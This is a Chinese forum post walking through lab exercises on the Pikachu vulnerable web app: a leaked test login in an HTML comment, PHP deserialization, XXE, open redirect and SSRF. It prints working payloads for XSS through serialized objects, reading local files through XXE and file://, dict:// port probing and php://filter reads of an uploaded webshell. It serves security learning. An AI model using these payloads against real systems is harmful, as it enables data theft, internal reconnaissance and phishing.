—通过访问url下的目录,可以直接列出目录下的文件列表;
—输入错误的url参数后报错信息里面包罗操作系统、中心件、开发语言的版本或其他信息;
—前端的源码(html,css,js)里面包罗了敏感信息,比如背景登录地址、内网接口信息、甚至账号暗码等;
类似以上这些情况,我们成为敏感信息泄漏。敏感信息泄漏虽然一直被评为危害比力低的漏洞,但这些敏感信息每每给攻击着实行进一步的攻击提供很大的资助,甚至“离谱”的敏感信息泄漏也会直接造成严重的丧失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的公道处理。

IcanseeyourABC


尝试admin/123456进行登录提示账号不精确,之后审计前端代码发现注释中包罗测试账号的信息
  1. <!-- 测试账号:lili/123456-->
复制代码

利用测试账号进行登录,登录乐成


PHP反序列化

在理解这个漏洞前,你需要先搞清晰php中serialize(),unserialize()这两个函数。
序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
  1.     class S{
  2.         public $test="pikachu";
  3.     }
  4.     $s=new S(); //创建一个对象
  5.     serialize($s); //把这个对象进行序列化
  6.     序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
  7.         O:代表object
  8.         1:代表对象名字长度为一个字符
  9.         S:对象的名称
  10.         1:代表对象里面有一个变量
  11.         s:数据类型
  12.         4:变量名称的长度
  13.         test:变量名称
  14.         s:数据类型
  15.         7:变量值的长度
  16.         pikachu:变量值
复制代码
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续利用。
  1.   $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
  2.   echo $u->test; //得到的结果为pikachu
复制代码
序列化和反序列化自己没有问题,但是如果反序列化的内容是用户可以控制的,且背景不正当的利用了PHP中的魔法函数,就会导致安全问题
  1.         常见的几个魔法函数:
  2.         __construct()当一个对象创建时被调用
  3.         __destruct()当一个对象销毁时被调用
  4.         __toString()当一个对象被当作一个字符串使用
  5.         __sleep() 在对象在被序列化之前运行
  6.         __wakeup将在序列化之后立即被调用
  7.         漏洞举例:
  8.         class S{
  9.             var $test = "pikachu";
  10.             function __destruct(){
  11.                 echo $this->test;
  12.             }
  13.         }
  14.         $s = $_GET['test'];
  15.         @$unser = unserialize($a);
  16.         payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
复制代码

PHP反序列化漏洞


分析下源代码

代码的意思是把输入的内容进行反序列化生成对象实例,然后输出对象实例的test这个数据成员
接下来构造序列化代码,该漏洞有多种利用方式
打印输出test1234
  1. O:1:"S":1:{s:4:"test";s:8:"test1234";}
复制代码


输出xss payload
  1. O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
复制代码


实现网站恶意跳转至指定页面
  1. O:1:"S":1:{s:4:"test";s:64:"<script>window.location.replace('http://www.baidu.com')</script>";}
复制代码



XXE

XXE -“xml external entity injection”
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收息争析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
详细的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面临应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接制止了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

XXE漏洞


源代码分析

simple_load_string()函数,函数转换形式精良的XML字符串为SimpleXMLElement对象
在PHP里面解析xml用的是libxml,其在>=2.9.0的版本中,默认是禁止解析xml外部实体内容的
xxe漏洞发生在应用步伐解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的XML
利用以下Payload进行测试,乐成打印test
  1. <?xml version = "1.0"?>
  2. <!DOCTYPE note [<!ENTITY hack "test">]>
  3. <x>&f;</x>
复制代码

接下来利用以下payload读取hosts文件
  1. <?xml version="1.0"?>
  2. <!DOCTYPE ANY[
  3. <!ENTITY f SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts
  4. ">
  5. ]>
  6. <x>&f;</x>
复制代码


URL重定向

不安全的url跳转
不安全的url跳转问题大概发生在一切执行了url地址跳转的地方。
如果后端接纳了前端传进来的(大概是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就大概发生"跳错对象"的问题。
url跳转比力直接的危害是:
–>垂纶,既攻击者利用漏洞方的域名(比如一个比力出名的公司域名每每会让用户放心的点击)做掩盖,而终极跳转的确实垂纶网站

不安全的url跳转


当点击a标签时间会进行跳转,利用burp进行抓包看看详细跳转的url


测试直接将此处的url的值改为www.baidu.com发送请求包查看是否会跳转,经测试发现乐成跳转至百度,此处存在url重定向漏洞,攻击者可以将该url发送给受害者点击,然后进行垂纶攻击



SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因多数是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目的地址做严格过滤与限定
导致攻击者可以传入恣意的地址来让后端服务器对其发起请求,并返回对该目的地址请求的数据
数据流:攻击者----->服务器---->目的地址
根据背景利用的函数的不同,对应的影响和利用方法又有不一样
  1. PHP中下面函数的使用不当会导致SSRF:
  2. file_get_contents()
  3. fsockopen()
  4. curl_exec()
复制代码
如果一定要通过背景服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目的地址的过滤

SSRF(curl)


SSRF漏洞常用协议:
1)HTTP(s):最常用到的一种协议,可以用来验证是否存在SSRF漏洞,探测端口以及服务。
2)file:本地文件传输协议,可以用来读取恣意系统文件
3)dict:字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
4)ghoper:互联网上利用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell。
代码分析:
前端传进来的url被背景利用curl_exec()进行了请求,然后将请求的结果又返回给了前端。

点击链接后发现页面请求了info1.php文件,但是没有找到

此处我们可以直接file协议去获取hosts、win.ini文件(Windows系统的一个基本系统配置文件)
  1. file:///C:/Windows/System32/drivers/etc/hosts
复制代码

  1. file:///C:/Windows/win.ini
复制代码

或者利用dict协议扫描内网主机开放的端口,这里探测的主机是192.168.0.106,在目的主机上开启http服务

  1. dict://192.168.0.106:8000
复制代码
端口不存在的时间页面表现正常

端口存在时页面会表现错误信息(根据差异信息判断端口是否开放)

利用burp进行批量端口扫描,由于时间关系这里就只演示8000-8100的端口范围


根据返回包长度可以判断出端口是否存活


SSRF(file_get_content)


代码分析:

本关利用了file_get_contents() 函数,该函数将指定 URL 的文件读入一个字符串并返回。
file_get_contents 与 curl的区别:


  • curl 支持更多协议,有http、https、ftp、gopher、telnet、dict、file、ldap;模拟 Cookie 登录,爬取网页;FTP 上传下载。
  • fopen / file_get_contents 只能利用 GET 方式获取数据。
点击链接后网页会请求一个url

直接利用file协议读取系统配置文件
  1. file:///c:/windows/win.ini
复制代码

或者利用php://filter/读php源代码,这里读取之前unsafe fileupload上传的一句话木马
  1. php://filter/read=convert.base64-encode/resource=../unsafeupload/uploads/a.php
复制代码

利用base64解码后得到php文件的源码

再或者可以利用http协议去请求内网资源,这里可以在本机创建一个ssrf.txt文件,并且利用python启动http服务

利用SSRF漏洞去请求这个文件,即可获得文件中的内容


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

九天猎人

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表